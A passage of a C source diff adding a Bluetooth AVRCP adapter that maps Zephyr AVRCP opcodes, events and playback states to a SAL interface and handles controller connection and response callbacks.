BT_SDP_LIST( + BT_SDP_ATTR_SVCLASS_ID_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_AV_REMOTE_SVCLASS) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_AV_REMOTE_CONTROLLER_SVCLASS) }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 16), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_UUID_AVCTP_VAL) }, ) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_UUID_AVCTP_VAL) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(AVCTP_VER_1_4) }, ) }, )), + /* C1: Browsing not supported */ + BT_SDP_LIST( + BT_SDP_ATTR_PROFILE_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_AV_REMOTE_SVCLASS) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(AVRCP_VER_1_6) }, ) }, )), + BT_SDP_SUPPORTED_FEATURES(AVRCP_CAT_1 | AVRCP_CAT_2), + /* O: Provider Name not presented */ + BT_SDP_SERVICE_NAME("AVRCP Controller"), +}; + +static struct bt_sdp_record avrcp_ct_rec = BT_SDP_RECORD(avrcp_ct_attrs); +#endif + +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static struct bt_sdp_attribute avrcp_tg_attrs[] = { + BT_SDP_NEW_SERVICE, + BT_SDP_LIST( + BT_SDP_ATTR_SVCLASS_ID_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_AV_REMOTE_TARGET_SVCLASS) }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 16), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST({ BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_UUID_AVCTP_VAL) }, ) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_UUID_AVCTP_VAL) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(AVCTP_VER_1_4) }, ) }, )), + /* C2: Cover Art not supported */ + BT_SDP_LIST( + BT_SDP_ATTR_PROFILE_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_AV_REMOTE_SVCLASS) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(AVRCP_VER_1_6) }, ) }, )), + BT_SDP_SUPPORTED_FEATURES(AVRCP_CAT_1 | AVRCP_CAT_2), + /* O: Provider Name not presented */ + BT_SDP_SERVICE_NAME("AVRCP Target"), +}; + +static struct bt_sdp_record avrcp_tg_rec = BT_SDP_RECORD(avrcp_tg_attrs); +#endif +#endif + +static bt_list_t* bt_avrcp_conn = NULL; +static bool avrcp_ct_registered = false; +static bool avrcp_tg_registered = false; + +NET_BUF_POOL_DEFINE(bt_avrcp_tx_pool, CONFIG_BT_MAX_CONN, + BT_L2CAP_BUF_SIZE(CONFIG_BT_L2CAP_TX_MTU), + CONFIG_BT_CONN_TX_USER_DATA_SIZE, NULL); + +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static const uint8_t bt_supported_avrcp_events[] = { + BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED, + BT_AVRCP_EVT_TRACK_CHANGED, + BT_AVRCP_EVT_PLAYBACK_POS_CHANGED, +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME + BT_AVRCP_EVT_VOLUME_CHANGED, +#endif +}; +#endif + +static avrcp_passthr_cmd_t zephyr_op_2_sal_op(uint8_t op) +{ + switch (op) { + case BT_AVRCP_OPID_SELECT: + return PASSTHROUGH_CMD_ID_SELECT; + case BT_AVRCP_OPID_UP: + return PASSTHROUGH_CMD_ID_UP; + case BT_AVRCP_OPID_DOWN: + return PASSTHROUGH_CMD_ID_DOWN; + case BT_AVRCP_OPID_LEFT: + return PASSTHROUGH_CMD_ID_LEFT; + case BT_AVRCP_OPID_RIGHT: + return PASSTHROUGH_CMD_ID_RIGHT; + case BT_AVRCP_OPID_RIGHT_UP: + return PASSTHROUGH_CMD_ID_RIGHT_UP; + case BT_AVRCP_OPID_RIGHT_DOWN: + return PASSTHROUGH_CMD_ID_RIGHT_DOWN; + case BT_AVRCP_OPID_LEFT_UP: + return PASSTHROUGH_CMD_ID_LEFT_UP; + case BT_AVRCP_OPID_LEFT_DOWN: + return PASSTHROUGH_CMD_ID_LEFT_DOWN; + case BT_AVRCP_OPID_ROOT_MENU: + return PASSTHROUGH_CMD_ID_ROOT_MENU; + case BT_AVRCP_OPID_SETUP_MENU: + return PASSTHROUGH_CMD_ID_SETUP_MENU; + case BT_AVRCP_OPID_CONTENTS_MENU: + return PASSTHROUGH_CMD_ID_CONTENTS_MENU; + case BT_AVRCP_OPID_FAVORITE_MENU: + return PASSTHROUGH_CMD_ID_FAVORITE_MENU; + case BT_AVRCP_OPID_EXIT: + return PASSTHROUGH_CMD_ID_EXIT; + case BT_AVRCP_OPID_0: + return PASSTHROUGH_CMD_ID_0; + case BT_AVRCP_OPID_1: + return PASSTHROUGH_CMD_ID_1; + case BT_AVRCP_OPID_2: + return PASSTHROUGH_CMD_ID_2; + case BT_AVRCP_OPID_3: + return PASSTHROUGH_CMD_ID_3; + case BT_AVRCP_OPID_4: + return PASSTHROUGH_CMD_ID_4; + case BT_AVRCP_OPID_5: + return PASSTHROUGH_CMD_ID_5; + case BT_AVRCP_OPID_6: + return PASSTHROUGH_CMD_ID_6; + case BT_AVRCP_OPID_7: + return PASSTHROUGH_CMD_ID_7; + case BT_AVRCP_OPID_8: + return PASSTHROUGH_CMD_ID_8; + case BT_AVRCP_OPID_9: + return PASSTHROUGH_CMD_ID_9; + case BT_AVRCP_OPID_DOT: + return PASSTHROUGH_CMD_ID_DOT; + case BT_AVRCP_OPID_ENTER: + return PASSTHROUGH_CMD_ID_ENTER; + case BT_AVRCP_OPID_CLEAR: + return PASSTHROUGH_CMD_ID_CLEAR; + case BT_AVRCP_OPID_CHANNEL_UP: + return PASSTHROUGH_CMD_ID_CHANNEL_UP; + case BT_AVRCP_OPID_CHANNEL_DOWN: + return PASSTHROUGH_CMD_ID_CHANNEL_DOWN; + case BT_AVRCP_OPID_PREVIOUS_CHANNEL: + return PASSTHROUGH_CMD_ID_PREVIOUS_CHANNEL; + case BT_AVRCP_OPID_SOUND_SELECT: + return PASSTHROUGH_CMD_ID_SOUND_SELECT; + case BT_AVRCP_OPID_INPUT_SELECT: + return PASSTHROUGH_CMD_ID_INPUT_SELECT; + case BT_AVRCP_OPID_DISPLAY_INFORMATION: + return PASSTHROUGH_CMD_ID_DISPLAY_INFO; + case BT_AVRCP_OPID_HELP: + return PASSTHROUGH_CMD_ID_HELP; + case BT_AVRCP_OPID_PAGE_UP: + return PASSTHROUGH_CMD_ID_PAGE_UP; + case BT_AVRCP_OPID_PAGE_DOWN: + return PASSTHROUGH_CMD_ID_PAGE_DOWN; + case BT_AVRCP_OPID_POWER: + return PASSTHROUGH_CMD_ID_POWER; + case BT_AVRCP_OPID_VOLUME_UP: + return PASSTHROUGH_CMD_ID_VOLUME_UP; + case BT_AVRCP_OPID_VOLUME_DOWN: + return PASSTHROUGH_CMD_ID_VOLUME_DOWN; + case BT_AVRCP_OPID_MUTE: + return PASSTHROUGH_CMD_ID_MUTE; + case BT_AVRCP_OPID_PLAY: + return PASSTHROUGH_CMD_ID_PLAY; + case BT_AVRCP_OPID_STOP: + return PASSTHROUGH_CMD_ID_STOP; + case BT_AVRCP_OPID_PAUSE: + return PASSTHROUGH_CMD_ID_PAUSE; + case BT_AVRCP_OPID_RECORD: + return PASSTHROUGH_CMD_ID_RECORD; + case BT_AVRCP_OPID_REWIND: + return PASSTHROUGH_CMD_ID_REWIND; + case BT_AVRCP_OPID_FAST_FORWARD: + return PASSTHROUGH_CMD_ID_FAST_FORWARD; + case BT_AVRCP_OPID_EJECT: + return PASSTHROUGH_CMD_ID_EJECT; + case BT_AVRCP_OPID_FORWARD: + return PASSTHROUGH_CMD_ID_FORWARD; + case BT_AVRCP_OPID_BACKWARD: + return PASSTHROUGH_CMD_ID_BACKWARD; + case BT_AVRCP_OPID_ANGLE: + return PASSTHROUGH_CMD_ID_ANGLE; + case BT_AVRCP_OPID_SUBPICTURE: + return PASSTHROUGH_CMD_ID_SUBPICTURE; + case BT_AVRCP_OPID_F1: + return PASSTHROUGH_CMD_ID_F1; + case BT_AVRCP_OPID_F2: + return PASSTHROUGH_CMD_ID_F2; + case BT_AVRCP_OPID_F3: + return PASSTHROUGH_CMD_ID_F3; + case BT_AVRCP_OPID_F4: + return PASSTHROUGH_CMD_ID_F4; + case BT_AVRCP_OPID_F5: + return PASSTHROUGH_CMD_ID_F5; + case BT_AVRCP_OPID_VENDOR_UNIQUE: + return PASSTHROUGH_CMD_ID_VENDOR_UNIQUE; + default: + BT_LOGW("%s, unrecognized operation: 0x%x", __func__, op); + return PASSTHROUGH_CMD_ID_RESERVED; + } +} + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static uint8_t sal_op_2_zephyr_op(avrcp_passthr_cmd_t op) +{ + switch (op) { + case PASSTHROUGH_CMD_ID_SELECT: + return BT_AVRCP_OPID_SELECT; + case PASSTHROUGH_CMD_ID_UP: + return BT_AVRCP_OPID_UP; + case PASSTHROUGH_CMD_ID_DOWN: + return BT_AVRCP_OPID_DOWN; + case PASSTHROUGH_CMD_ID_LEFT: + return BT_AVRCP_OPID_LEFT; + case PASSTHROUGH_CMD_ID_RIGHT: + return BT_AVRCP_OPID_RIGHT; + case PASSTHROUGH_CMD_ID_RIGHT_UP: + return BT_AVRCP_OPID_RIGHT_UP; + case PASSTHROUGH_CMD_ID_RIGHT_DOWN: + return BT_AVRCP_OPID_RIGHT_DOWN; + case PASSTHROUGH_CMD_ID_LEFT_UP: + return BT_AVRCP_OPID_LEFT_UP; + case PASSTHROUGH_CMD_ID_LEFT_DOWN: + return BT_AVRCP_OPID_LEFT_DOWN; + case PASSTHROUGH_CMD_ID_ROOT_MENU: + return BT_AVRCP_OPID_ROOT_MENU; + case PASSTHROUGH_CMD_ID_SETUP_MENU: + return BT_AVRCP_OPID_SETUP_MENU; + case PASSTHROUGH_CMD_ID_CONTENTS_MENU: + return BT_AVRCP_OPID_CONTENTS_MENU; + case PASSTHROUGH_CMD_ID_FAVORITE_MENU: + return BT_AVRCP_OPID_FAVORITE_MENU; + case PASSTHROUGH_CMD_ID_EXIT: + return BT_AVRCP_OPID_EXIT; + case PASSTHROUGH_CMD_ID_0: + return BT_AVRCP_OPID_0; + case PASSTHROUGH_CMD_ID_1: + return BT_AVRCP_OPID_1; + case PASSTHROUGH_CMD_ID_2: + return BT_AVRCP_OPID_2; + case PASSTHROUGH_CMD_ID_3: + return BT_AVRCP_OPID_3; + case PASSTHROUGH_CMD_ID_4: + return BT_AVRCP_OPID_4; + case PASSTHROUGH_CMD_ID_5: + return BT_AVRCP_OPID_5; + case PASSTHROUGH_CMD_ID_6: + return BT_AVRCP_OPID_6; + case PASSTHROUGH_CMD_ID_7: + return BT_AVRCP_OPID_7; + case PASSTHROUGH_CMD_ID_8: + return BT_AVRCP_OPID_8; + case PASSTHROUGH_CMD_ID_9: + return BT_AVRCP_OPID_9; + case PASSTHROUGH_CMD_ID_DOT: + return BT_AVRCP_OPID_DOT; + case PASSTHROUGH_CMD_ID_ENTER: + return BT_AVRCP_OPID_ENTER; + case PASSTHROUGH_CMD_ID_CLEAR: + return BT_AVRCP_OPID_CLEAR; + case PASSTHROUGH_CMD_ID_CHANNEL_UP: + return BT_AVRCP_OPID_CHANNEL_UP; + case PASSTHROUGH_CMD_ID_CHANNEL_DOWN: + return BT_AVRCP_OPID_CHANNEL_DOWN; + case PASSTHROUGH_CMD_ID_PREVIOUS_CHANNEL: + return BT_AVRCP_OPID_PREVIOUS_CHANNEL; + case PASSTHROUGH_CMD_ID_SOUND_SELECT: + return BT_AVRCP_OPID_SOUND_SELECT; + case PASSTHROUGH_CMD_ID_INPUT_SELECT: + return BT_AVRCP_OPID_INPUT_SELECT; + case PASSTHROUGH_CMD_ID_DISPLAY_INFO: + return BT_AVRCP_OPID_DISPLAY_INFORMATION; + case PASSTHROUGH_CMD_ID_HELP: + return BT_AVRCP_OPID_HELP; + case PASSTHROUGH_CMD_ID_PAGE_UP: + return BT_AVRCP_OPID_PAGE_UP; + case PASSTHROUGH_CMD_ID_PAGE_DOWN: + return BT_AVRCP_OPID_PAGE_DOWN; + case PASSTHROUGH_CMD_ID_POWER: + return BT_AVRCP_OPID_POWER; + case PASSTHROUGH_CMD_ID_VOLUME_UP: + return BT_AVRCP_OPID_VOLUME_UP; + case PASSTHROUGH_CMD_ID_VOLUME_DOWN: + return BT_AVRCP_OPID_VOLUME_DOWN; + case PASSTHROUGH_CMD_ID_MUTE: + return BT_AVRCP_OPID_MUTE; + case PASSTHROUGH_CMD_ID_PLAY: + return BT_AVRCP_OPID_PLAY; + case PASSTHROUGH_CMD_ID_STOP: + return BT_AVRCP_OPID_STOP; + case PASSTHROUGH_CMD_ID_PAUSE: + return BT_AVRCP_OPID_PAUSE; + case PASSTHROUGH_CMD_ID_RECORD: + return BT_AVRCP_OPID_RECORD; + case PASSTHROUGH_CMD_ID_REWIND: + return BT_AVRCP_OPID_REWIND; + case PASSTHROUGH_CMD_ID_FAST_FORWARD: + return BT_AVRCP_OPID_FAST_FORWARD; + case PASSTHROUGH_CMD_ID_EJECT: + return BT_AVRCP_OPID_EJECT; + case PASSTHROUGH_CMD_ID_FORWARD: + return BT_AVRCP_OPID_FORWARD; + case PASSTHROUGH_CMD_ID_BACKWARD: + return BT_AVRCP_OPID_BACKWARD; + case PASSTHROUGH_CMD_ID_ANGLE: + return BT_AVRCP_OPID_ANGLE; + case PASSTHROUGH_CMD_ID_SUBPICTURE: + return BT_AVRCP_OPID_SUBPICTURE; + case PASSTHROUGH_CMD_ID_F1: + return BT_AVRCP_OPID_F1; + case PASSTHROUGH_CMD_ID_F2: + return BT_AVRCP_OPID_F2; + case PASSTHROUGH_CMD_ID_F3: + return BT_AVRCP_OPID_F3; + case PASSTHROUGH_CMD_ID_F4: + return BT_AVRCP_OPID_F4; + case PASSTHROUGH_CMD_ID_F5: + return BT_AVRCP_OPID_F5; + case PASSTHROUGH_CMD_ID_VENDOR_UNIQUE: + return BT_AVRCP_OPID_VENDOR_UNIQUE; + default: + BT_LOGW("%s, unsupported operation: 0x%x", __func__, op); + return PASSTHROUGH_CMD_ID_RESERVED; + } +} + +static bt_status_t sal_event_2_zephyr_event(bt_avrcp_evt_t* out, avrcp_notification_event_t in) +{ + bt_status_t status = BT_STATUS_SUCCESS; + + switch (in) { + case NOTIFICATION_EVT_PALY_STATUS_CHANGED: + *out = BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED; + break; + case NOTIFICATION_EVT_TRACK_CHANGED: + *out = BT_AVRCP_EVT_TRACK_CHANGED; + break; + case NOTIFICATION_EVT_PLAY_POS_CHANGED: + *out = BT_AVRCP_EVT_PLAYBACK_POS_CHANGED; + break; + case NOTIFICATION_EVT_VOLUME_CHANGED: + *out = BT_AVRCP_EVT_VOLUME_CHANGED; + break; + default: + BT_LOGW("%s, unsupported notification event: 0x%x", __func__, in); + return BT_STATUS_PARM_INVALID; + } + + return status; +} +#endif + +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static bt_status_t zephyr_event_2_sal_event(avrcp_notification_event_t* out, uint8_t in) +{ + bt_status_t status = BT_STATUS_SUCCESS; + + switch (in) { + case BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED: + *out = NOTIFICATION_EVT_PALY_STATUS_CHANGED; + break; + case BT_AVRCP_EVT_TRACK_CHANGED: + *out = NOTIFICATION_EVT_TRACK_CHANGED; + break; + case BT_AVRCP_EVT_PLAYBACK_POS_CHANGED: + *out = NOTIFICATION_EVT_PLAY_POS_CHANGED; + break; + case BT_AVRCP_EVT_VOLUME_CHANGED: + *out = NOTIFICATION_EVT_VOLUME_CHANGED; + break; + default: + BT_LOGW("%s, unsupported notification event: 0x%x", __func__, in); + return BT_STATUS_PARM_INVALID; + } + + return status; +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET +static bt_avrcp_playback_status_t sal_playback_state_2_zephyr_state(avrcp_play_status_t state) +{ + switch (state) { + case PLAY_STATUS_STOPPED: + return BT_AVRCP_PLAYBACK_STATUS_STOPPED; + case PLAY_STATUS_PLAYING: + return BT_AVRCP_PLAYBACK_STATUS_PLAYING; + case PLAY_STATUS_PAUSED: + return BT_AVRCP_PLAYBACK_STATUS_PAUSED; + case PLAY_STATUS_FWD_SEEK: + return BT_AVRCP_PLAYBACK_STATUS_FWD_SEEK; + case PLAY_STATUS_REV_SEEK: + return BT_AVRCP_PLAYBACK_STATUS_REV_SEEK; + default: + return BT_AVRCP_PLAYBACK_STATUS_ERROR; + } +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static avrcp_play_status_t zblue_playback_state_2_sal_state(bt_avrcp_playback_status_t state) +{ + switch (state) { + case BT_AVRCP_PLAYBACK_STATUS_STOPPED: + return PLAY_STATUS_STOPPED; + case BT_AVRCP_PLAYBACK_STATUS_PLAYING: + return PLAY_STATUS_PLAYING; + case BT_AVRCP_PLAYBACK_STATUS_PAUSED: + return PLAY_STATUS_PAUSED; + case BT_AVRCP_PLAYBACK_STATUS_FWD_SEEK: + return PLAY_STATUS_FWD_SEEK; + case BT_AVRCP_PLAYBACK_STATUS_REV_SEEK: + return PLAY_STATUS_REV_SEEK; + default: + return PLAY_STATUS_ERROR; + } +} +#endif + +static bool bt_avrcp_info_find_by_conn(void* data, void* context) +{ + zblue_avrcp_info_t* avrcp_info = (zblue_avrcp_info_t*)data; + if (!avrcp_info) + return false; + + return avrcp_info->conn == context; +} + +static bool bt_avrcp_info_find_addr(void* data, void* context) +{ + zblue_avrcp_info_t* avrcp_info = (zblue_avrcp_info_t*)data; + if (!avrcp_info || !context) + return false; + + return memcmp(&avrcp_info->bd_addr, context, sizeof(bt_address_t)) == 0; +} + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static bool bt_avrcp_info_find_by_ct(void* data, void* context) +{ + zblue_avrcp_info_t* avrcp_info = (zblue_avrcp_info_t*)data; + if (!avrcp_info) + return false; + + return avrcp_info->ct == context; +} +#endif + +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static bool bt_avrcp_info_find_by_tg(void* data, void* context) +{ + zblue_avrcp_info_t* avrcp_info = (zblue_avrcp_info_t*)data; + if (!avrcp_info) + return false; + + return avrcp_info->tg == context; +} +#endif + +static bool bt_avrcp_tg_tid_find_by_msg_id(void* data, void* context) +{ + zblue_tg_tid_t* tid_info = (zblue_tg_tid_t*)data; + if (!tid_info) + return false; + + return tid_info->msg_id == *(zblue_tg_msg_id*)context; +} + +static int tg_get_and_remove_tid(zblue_avrcp_info_t* avrcp_info, zblue_tg_msg_id msg_id) +{ + zblue_tg_tid_t* tid_info = bt_list_find(avrcp_info->tg_tid, bt_avrcp_tg_tid_find_by_msg_id, &msg_id); + int tid = -1; + if (!tid_info) + return tid; + + tid = tid_info->tid; + + if (tid_info->next_rsp == BT_AVRCP_RSP_INTERIM) { + tid_info->next_rsp = BT_AVRCP_RSP_CHANGED; + return tid; + } + + bt_list_remove(avrcp_info->tg_tid, tid_info); + return tid; +} + +static uint8_t get_next_ct_tid(zblue_avrcp_info_t* avrcp_info) +{ + uint8_t ret = avrcp_info->ct_tid; + + avrcp_info->ct_tid++; + avrcp_info->ct_tid &= 0x0F; + + return ret; +} + +static void bt_list_remove_avrcp_info(zblue_avrcp_info_t* avrcp_info) +{ + bool is_cleanup = avrcp_info->is_cleanup; + + if (!avrcp_info->ct && !avrcp_info->tg && bt_avrcp_conn) { + bt_list_free(avrcp_info->tg_tid); + bt_list_remove(bt_avrcp_conn, avrcp_info); + } + + if (is_cleanup && bt_list_length(bt_avrcp_conn) == 0) { + bt_list_free(bt_avrcp_conn); + bt_avrcp_conn = NULL; + } +} + +static zblue_avrcp_info_t* bt_avrcp_create_avrcp_info(struct bt_conn* conn) +{ + zblue_avrcp_info_t* avrcp_info; + + avrcp_info = calloc(1, sizeof(zblue_avrcp_info_t)); + avrcp_info->tg_tid = bt_list_new(free); + avrcp_info->conn = conn; + + if (bt_sal_get_remote_address(conn, &avrcp_info->bd_addr) != BT_STATUS_SUCCESS) { + bt_list_free(avrcp_info->tg_tid); + free(avrcp_info); + return NULL; + } + + bt_list_add_tail(bt_avrcp_conn, avrcp_info); + + return avrcp_info; +} + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL +static void zblue_on_ct_connected(struct bt_conn* conn, struct bt_avrcp_ct* ct) +{ + zblue_avrcp_info_t* avrcp_info; + avrcp_msg_t* msg; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_conn, conn); + if (!avrcp_info) + avrcp_info = bt_avrcp_create_avrcp_info(conn); + + if (!avrcp_info) + return; + + avrcp_info->ct = ct; + + msg = avrcp_msg_new(AVRC_CONNECTION_STATE_CHANGED, &avrcp_info->bd_addr); + msg->data.conn_state.conn_state = PROFILE_STATE_CONNECTED; + msg->data.conn_state.reason = PROFILE_REASON_UNSPECIFIED; + bt_sal_avrcp_control_event_callback(msg); + bt_sal_cm_profile_connected_callback(&avrcp_info->bd_addr, PROFILE_AVRCP_CT, CONN_ID_DEFAULT); + bt_sal_profile_disconnect_register(&avrcp_info->bd_addr, PROFILE_AVRCP_CT, CONN_ID_DEFAULT, PRIMARY_ADAPTER, avrcp_control_disconnect, NULL); +} + +static void zblue_on_ct_disconnected(struct bt_avrcp_ct* ct) +{ + zblue_avrcp_info_t* avrcp_info; + avrcp_msg_t* msg; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + avrcp_info->ct = NULL; + + msg = avrcp_msg_new(AVRC_CONNECTION_STATE_CHANGED, &avrcp_info->bd_addr); + msg->data.conn_state.conn_state = PROFILE_STATE_DISCONNECTED; + msg->data.conn_state.reason = PROFILE_REASON_UNSPECIFIED; + bt_sal_avrcp_control_event_callback(msg); + bt_sal_cm_profile_disconnected_callback(&avrcp_info->bd_addr, PROFILE_AVRCP_CT, CONN_ID_DEFAULT); + + bt_list_remove_avrcp_info(avrcp_info); +} + +static void zblue_on_ct_get_caps_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, struct net_buf* buf) +{ + struct bt_avrcp_get_caps_rsp* rsp; + zblue_avrcp_info_t* avrcp_info; + avrcp_msg_t* msg; + + if (status != BT_AVRCP_STATUS_SUCCESS) + return; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + if (buf == NULL) + return; + + if (buf->len < sizeof(*rsp)) { + BT_LOGW("Invalid response data length"); + return; + } + + rsp = net_buf_pull_mem(buf, sizeof(*rsp)); + if (buf->len < rsp->cap_cnt) { + BT_LOGW("incompleted message for supported EventID "); + return; + } + + if (rsp->cap_id == BT_AVRCP_CAP_COMPANY_ID) + return; + + net_buf_pull_mem(buf, rsp->cap_cnt); + + msg = avrcp_msg_new(AVRC_GET_CAPABILITY_RSP, &avrcp_info->bd_addr); + if (msg == NULL) + return; + + if (rsp->cap_cnt > sizeof(msg->data.cap.capabilities)) { + avrcp_msg_destory(msg); + return; + } + + msg->data.cap.company_id = 0; + msg->data.cap.cap_count = rsp->cap_cnt; + msg->data.cap.capabilities[rsp->cap_cnt] = 0; + + memcpy(msg->data.cap.capabilities, rsp->cap, rsp->cap_cnt); + bt_sal_avrcp_control_event_callback(msg); +} + +static void zblue_on_ct_unit_info_rsp(struct bt_avrcp_ct* ct, uint8_t tid, struct bt_avrcp_unit_info_rsp* rsp) +{ + BT_LOGW("%s, not supported", __func__); +} + +static void zblue_on_ct_subunit_info_rsp(struct bt_avrcp_ct* ct, uint8_t tid, struct bt_avrcp_subunit_info_rsp* rsp) +{ + BT_LOGW("%s, not supported", __func__); +} + +static void zblue_on_ct_passthrough_rsp(struct bt_avrcp_ct* ct, uint8_t tid, bt_avrcp_rsp_t result, const struct bt_avrcp_passthrough_rsp* rsp) +{ + zblue_avrcp_info_t* avrcp_info; + avrcp_passthr_cmd_t cmd; + avrcp_msg_t* msg; + uint8_t op_id; + uint8_t state; + + state = BT_AVRCP_PASSTHROUGH_GET_STATE(rsp); + op_id = BT_AVRCP_PASSTHROUGH_GET_OPID(rsp); + cmd = zephyr_op_2_sal_op(op_id); + + if (cmd == PASSTHROUGH_CMD_ID_RESERVED) { + BT_LOGW("%s, operation 0x%x not recognized", __func__, op_id); + return; + } + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + msg = avrcp_msg_new(AVRC_PASSTHROUHT_CMD_RSP, &avrcp_info->bd_addr); + if (msg == NULL) + return; + + msg->data.passthr_rsp.cmd = cmd; + msg->data.passthr_rsp.state = (state == BT_AVRCP_BUTTON_PRESSED) ? AVRCP_KEY_PRESSED : AVRCP_KEY_RELEASED; + msg->data.passthr_rsp.rsp = result; + + bt_sal_avrcp_control_event_callback(msg); +} +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME +static void zblue_on_ct_set_absolute_volume_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, uint8_t absolute_volume) +{ + if (status == BT_AVRCP_STATUS_SUCCESS) { + BT_LOGD("AVRCP set absolute volume rsp: volume=0x%02x", absolute_volume); + } else { + BT_LOGW("AVRCP set absolute volume failed"); + } +} +#endif + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) +static void zblue_on_ct_notification_rsp(struct bt_avrcp_ct* ct, uint8_t tid, uint8_t status, uint8_t event_id, struct bt_avrcp_event_data* data) +{ + zblue_avrcp_info_t* avrcp_info; + avrcp_msg_t* msg; + + if (status != BT_AVRCP_STATUS_SUCCESS) + return; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_by_ct, ct); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return; + } + + switch (event_id) { +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + case BT_AVRCP_EVT_PLAYBACK_STATUS_CHANGED: + msg = avrcp_msg_new(AVRC_REGISTER_NOTIFICATION_RSP, &avrcp_info->bd_addr); + msg->data.notify_rsp.event = NOTIFICATION_EVT_PALY_STATUS_CHANGED; + msg->data.notify_rsp.value = data->play_status; + bt_sal_avrcp_control_event_callback(msg); + break; + case BT_AVRCP_EVT_TRACK_CHANGED: + msg = avrcp_msg_new(AVRC_REGISTER_NOTIFICATION_RSP, &avrcp_info->bd_addr); + msg->data.notify_rsp.event = NOTIFICATION_EVT_TRACK_CHANGED; + bt_sal_avrcp_control_event_callback(msg); + break; + case BT_AVRCP_EVT_PLAYBACK_POS_CHANGED: + msg = 